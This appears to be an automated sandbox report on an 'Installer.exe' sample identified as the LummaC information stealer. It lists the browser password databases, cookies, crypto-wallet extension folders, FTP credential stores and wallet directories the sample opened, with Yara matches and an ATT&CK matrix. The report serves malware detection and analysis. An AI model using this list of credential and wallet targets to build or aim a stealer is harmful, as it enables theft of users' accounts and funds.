Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: Installer.exe, 00000003.00000003.1835675481.00000000035AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior

Source: Yara match	File source: 00000003.00000003.1835675481.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1835591588.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1835776038.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1874516417.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Installer.exe PID: 7488, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Installer.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	211 Process Injection	3 Obfuscated Files or Information	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	33 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	3 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	211 Process Injection	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
